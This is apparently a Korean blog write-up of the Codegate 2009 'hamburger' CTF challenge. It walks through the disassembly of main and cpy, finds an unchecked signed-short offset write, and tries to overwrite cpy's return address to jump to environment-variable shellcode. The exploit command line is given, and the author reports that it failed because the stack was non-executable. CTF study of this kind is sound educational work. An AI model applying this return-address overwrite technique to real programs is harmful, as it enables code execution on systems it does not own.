codegate 2009. hamburger
hamburger 를 실행해 보았다.
인자를 3개를 받는 다는 것을 알 수 있다. nm으로 심볼을 확인. cpy와 main이 보인다.
main 을 간략하게 분석해보았다.
08048518 <main>:
8048518: 8d 4c 24 04 lea 0x4(%esp),%ecx
804851c: 83 e4 f0 and $0xfffffff0,%esp
804851f: ff 71 fc pushl -0x4(%ecx)
8048522: 55 push %ebp
8048523: 89 e5 mov %esp,%ebp
8048525: 51 push %ecx
8048526: 81 ec 24 80 00 00 sub $0x8024,%esp
804852c: 89 8d e4 7f ff ff mov %ecx,-0x801c(%ebp)
8048532: 8d 95 f3 7f ff ff lea -0x800d(%ebp),%edx
8048538: b8 ff 7f 00 00 mov $0x7fff,%eax
804853d: 89 44 24 08 mov %eax,0x8(%esp)
8048541: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
8048548: 00
8048549: 89 14 24 mov %edx,(%esp)
804854c: e8 6f fe ff ff call 80483c0 <memset@plt>
8048551: 8b 85 e4 7f ff ff mov -0x801c(%ebp),%eax
8048557: 83 38 04 cmpl $0x4,(%eax) argc 와 4를 cmp
804855a: 74 27 je 8048583 <main+0x6b>
804855c: 8b 95 e4 7f ff ff mov -0x801c(%ebp),%edx
8048562: 8b 42 04 mov 0x4(%edx),%eax
8048565: 8b 00 mov (%eax),%eax
8048567: 89 44 24 04 mov %eax,0x4(%esp)
804856b: c7 04 24 20 87 04 08 movl $0x8048720,(%esp)
8048572: e8 89 fe ff ff call 8048400 <printf@plt> argc가 4가 아니면 usuage... 를 찍고 종료
8048577: c7 04 24 00 00 00 00 movl $0x0,(%esp)
804857e: e8 ad fe ff ff call 8048430 <exit@plt>
8048583: 8b 8d e4 7f ff ff mov -0x801c(%ebp),%ecx
8048589: 8b 41 04 mov 0x4(%ecx),%eax
804858c: 83 c0 08 add $0x8,%eax
804858f: 8b 00 mov (%eax),%eax
8048591: 89 04 24 mov %eax,(%esp)
8048594: e8 77 fe ff ff call 8048410 <atoi@plt> argv[2]를 atoi
8048599: 66 89 45 f2 mov %ax,-0xe(%ebp) 리턴값을 ebp -0xe로
804859d: 8b 95 e4 7f ff ff mov -0x801c(%ebp),%edx
80485a3: 8b 42 04 mov 0x4(%edx),%eax
80485a6: 83 c0 0c add $0xc,%eax
80485a9: 8b 00 mov (%eax),%eax
80485ab: 89 04 24 mov %eax,(%esp)
80485ae: e8 5d fe ff ff call 8048410 <atoi@plt> argv[3]을 atoi
80485b3: 89 45 f4 mov %eax,-0xc(%ebp) 리턴값을 ebp-0xc로
80485b6: 8b 8d e4 7f ff ff mov -0x801c(%ebp),%ecx
80485bc: 8b 41 04 mov 0x4(%ecx),%eax
80485bf: 83 c0 04 add $0x4,%eax
80485c2: 8b 00 mov (%eax),%eax
80485c4: 89 04 24 mov %eax,(%esp)
80485c7: e8 24 fe ff ff call 80483f0 <strlen@plt> strlen(argv[1]) 호출
80485cc: 89 45 f8 mov %eax,-0x8(%ebp) 리턴값을 ebp-0x8로
80485cf: 81 7d f8 ff 7f 00 00 cmpl $0x7fff,-0x8(%ebp) 0x7fff(32767)와 ebp-0x8을 비교
80485d6: 7e 18 jle 80485f0 <main+0xd8>
80485d8: c7 04 24 3f 87 04 08 movl $0x804873f,(%esp)
80485df: e8 3c fe ff ff call 8048420 <puts@plt> 07fff 보다 크면 string is too long 을 찍고 종료
80485e4: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80485eb: e8 40 fe ff ff call 8048430 <exit@plt>
80485f0: 8b 55 f8 mov -0x8(%ebp),%edx
80485f3: 8b 8d e4 7f ff ff mov -0x801c(%ebp),%ecx
80485f9: 8b 41 04 mov 0x4(%ecx),%eax
80485fc: 83 c0 04 add $0x4,%eax
80485ff: 8b 00 mov (%eax),%eax
8048601: 89 54 24 08 mov %edx,0x8(%esp) strlen(argv[1]) 의 리턴값을 esp+8로 (size)
8048605: 89 44 24 04 mov %eax,0x4(%esp) argv[1]을 esp+4로 (src)
8048609: 8d 85 f3 7f ff ff lea -0x800d(%ebp),%eax
804860f: 89 04 24 mov %eax,(%esp) ebp-0x800d 를 esp로 (dest)
8048612: e8 c9 fd ff ff call 80483e0 <memcpy@plt> call memcpy
8048617: 0f b7 45 f2 movzwl -0xe(%ebp),%eax
804861b: 0f bf d0 movswl %ax,%edx
804861e: 8b 45 f4 mov -0xc(%ebp),%eax
8048621: 89 44 24 08 mov %eax,0x8(%esp) atoi(argv[3])의 리턴값을 esp+8에
8048625: 89 54 24 04 mov %edx,0x4(%esp) atoi(argv[2])의 리턴값을 esp+4에
8048629: 8d 85 f3 7f ff ff lea -0x800d(%ebp),%eax ebp-0x800d 를 esp로
804862f: 89 04 24 mov %eax,(%esp)
8048632: e8 bd fe ff ff call 80484f4 <cpy>
8048637: 8d 85 f3 7f ff ff lea -0x800d(%ebp),%eax
804863d: 89 04 24 mov %eax,(%esp)
8048640: e8 db fd ff ff call 8048420 <puts@plt>
8048645: 81 c4 24 80 00 00 add $0x8024,%esp
804864b: 59 pop %ecx
804864c: 5d pop %ebp
804864d: 8d 61 fc lea -0x4(%ecx),%esp
8048650: c3 ret
cpy도 살펴보자.
80484f4: 55 push %ebp
80484f5: 89 e5 mov %esp,%ebp
80484f7: 83 ec 14 sub $0x14,%esp
80484fa: 8b 45 0c mov 0xc(%ebp),%eax
80484fd: 66 89 45 ec mov %ax,-0x14(%ebp) ebp+0xc(2번째 인자)를 ebp-0x14에 저장
8048501: 8b 55 08 mov 0x8(%ebp),%edx ebp+0x8(첫번째 인자)를 edx에
8048504: 0f bf 45 ec movswl -0x14(%ebp),%eax ebp-0x14를 eax에 넣고
8048508: 8d 04 02 lea (%edx,%eax,1),%eax edx+eax 한 값을 eax로
804850b: 89 45 fc mov %eax,-0x4(%ebp)
804850e: 8b 55 fc mov -0x4(%ebp),%edx
8048511: 8b 45 10 mov 0x10(%ebp),%eax ebp+0x10(3번째 인자)를 eax로
8048514: 89 02 mov %eax,(%edx) eax를 edx가 가리키는 번지로 옮긴다.
즉 3번째 아규먼트를 edx+eax 한 주소에 집어넣는다.
8048516: c9 leave
8048517: c3 ret
대략적인 흐름은 다음과 같다.
argv[1]으로 입력되는 string 의 크기는 32767을 넘을 수 없으며 ebp-800d 로 복사된다.
argv[2]인 offset 은 입력된 string의 index로 사용된다.
argv[3]인 value는 입력한 값을 스트링의 특정 인덱스에 집어넣는다.
여기서 offset과 value는 값을 검사하는 루틴이 없으므로 이 값들을 조작해서 shell을 획득하는 것이
가능하지 않을까 싶다.
gdb) b *0x08048516
Breakpoint 1 at 0x8048516
(gdb) r `perl -e 'print "A"x32767," ","4"," ","\x90"x4'`
Starting program: /home/juliaa/share/codegate/hamburger `perl -e 'print "A"x32767," ","4"," ","\x90"x4'`
cpy 함수의 leave 에 bp를 걸고 r `perl -e 'print "A"x32767," ","4"," ","\x90"x4'` 로 실행 시킨후
bp에 걸린 상태에서 스택을 살펴보았다.
Breakpoint 1, 0x08048516 in cpy ()
Current language: auto; currently asm
(gdb) info $esp
Undefined info command: "$esp". Try "help info".
(gdb) info reg
eax 0x0 0
ecx 0x0 0
edx 0xbfae0fbf -1079111745
ebx 0xb80bdff4 -1207181324
esp 0xbfae0f84 0xbfae0f84
ebp 0xbfae0f98 0xbfae0f98
esi 0x8048670 134514288
edi 0x8048440 134513728
eip 0x8048516 0x8048516 <cpy+34>
eflags 0x286 [ PF SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/16x $esp
0xbfae0f84: 0xb80e0004 0x00007fff 0xb7fdcb70 0xbfae0fbb
0xbfae0f94: 0xbfae0fbf 0xbfae8fc8 0x08048637 0xbfae0fbb
0xbfae0fa4: 0x00000004 0x00000000 0xbfae8fe0 0x00000000
0xbfae0fb4: 0x00000000 0x41000000 0x00414141 0x41000000
붉은 색 부분이 ebp 이며 ebp+8 에 있는 첫번째 아규먼트의 주소 0xbfae0fbb 를 볼 수 있다.
ebp -0x14에는 argv[2]의 값이 옮겨진 0xb8e0004 가 있으며,
ebp -4 에는 0xbfae0fbb + 04 를 한 0xbfae0fbf 가 위치해 있다.
생각한대로 동작하는것을 알 수 있지만
80484fd: 66 89 45 ec mov %ax,-0x14(%ebp)
argv[2]의 값이 옮겨지는 부분에서 eax레지스터의 16비트만 사용하는 부분이 눈에 띄었다. short 형 변수로 받는게 아닌가 싶어서 argv[2]를 바꿔가며 입력해보았다.
----------------------------------------------------------------------------
32767 ebp+8 bffd9d1b 두값의 차이 +7FFFF
ebp-4 bffe1d1a
32768 bfe13b4b -8000
bfe0bb4b
32769 bfa6afab -7FFF
bfa62fac
32770 bfbe391b -7FFE
bfbdb91d
.....
65534 bfdfb33b -2
bfdfb339
65535 bfe0133b -1
bfe0133a
65536 bfa57f9b 0
bfa57f9b
65537 bfa76fbb 1
bfa76fbc
---------------------------------------------------------------------
위와같이 32767 보다 큰 값을 입력 하였을때 음수로 바뀌는 것으로 미루어 signed short 형 변수를 사용하는 것으로 생각 할 수 있다.
(32비트 시스템에서 보통 signed short는 ~32768~32767 까지 나타낼 수 있다. )
이 것이 바로 이 프로그램의 취약점이 아닌가 싶다.
스택을 살펴보니 main 함수의 리턴어드레스는 argv[1]이 복사된 주소 ebp-800d 부터 7FFF 이상 떨어져 있으므로 접근할 수 없다. 가까운 cpy의 return address를 건드려보자.
cpy함수의 코드를 다시 보면
80484fd: 66 89 45 ec mov %ax,-0x14(%ebp)
8048501: 8b 55 08 mov 0x8(%ebp),%edx
8048504: 0f bf 45 ec movswl -0x14(%ebp),%eax
8048508: 8d 04 02 lea (%edx,%eax,1),%eax
804850b: 89 45 fc mov %eax,-0x4(%ebp)
ebp+8 에 첫번째 인자, ebp-800d의 주소가 들어있으며 이 주소에 인덱스(argv[2])를 더한 주소를
ebp -4 에 넣는다.
-----------------
ebp + 8 - argv[1]
-----------------
ebp + 4 - return address
-----------------
ebp
-----------------
ebp -4 [argv[1] + argv[2]]
_________________
프로그램을 실행할때마다 스택의 주소는 바뀌지만 스택에서의 옵셋은 똑같다. 결국 ebp -4에 들어가는
값을 return address와 같도록 만들 수 있다는 뜻이다. 실행값을 바꿔가면서 넣어본 결과 cpy의 return
address의 주소는 ebp+8 의 주소보다 0x1F 만큼 작다는 것을 확인할 수 있었다.
(65505를 입력했을때 ebp + 4의 값이 1111(0x00000457)로 바뀌어 있는 것을 볼 수 있다.)
이제 return address를 바꿀 수 있다. 3번째 인자의 값으로 환경변수에 띄운 쉘코드의 주소를 넣고
실행해봤더니 쉘이 실행되지 않았다.. 문제가 무엇인지 디버깅을 해보았더니 세번째 입력값인 Value가
최대 7FFFFFFF 까지만 들어가기 때문이었다. 이것 역시 -1로 값을 넣어서 FFFFFFFF로 들어가서 원하는 값을
넣을 수 있었다.
최종적으로 아래와 같이 입력하였더니 segmentation fault 가 발생하였다.
./hamburger AAAA 65505 -1079758970
에러가 발생하는 이유는 eggshell을 띄운 환경변수의 주소를 eip가 정상적으로 가리키고 있지만
그 주소의 값을 실행시키지 못하는것 같았다. gdb에서 주소의 값을 보려고 해도
Cannot access memory at address 0xbfxxxxxx 처럼 접근할 수 없다는 메세지가 나온다.
--------------------------------------------------------------------------
stack의 실행권한을 확인해 보았다. 실행권한이 빠져있다.
현재 프로세스의 stack의 실행권한은 아래와 같다. 모든권한이 주어져있다.
이 둘이 어떤 차이가 있고 무엇 때문에 실행이 안되는지 조만간 수정해서 다시 올리겠다..
anyway failed. :(
'OS > Linux' 카테고리의 다른 글
redhat 9.0 networking problem in vmware (0) | 2010.06.20 |
---|---|
about Signal (0) | 2009.12.09 |
Advanced Programming in the Unix Environment (0) | 2009.12.02 |
APUE 7장 연습문제 (0) | 2009.11.27 |
linux socket source (0) | 2009.08.05 |
binary analysis in linux box without symbol (0) | 2009.06.15 |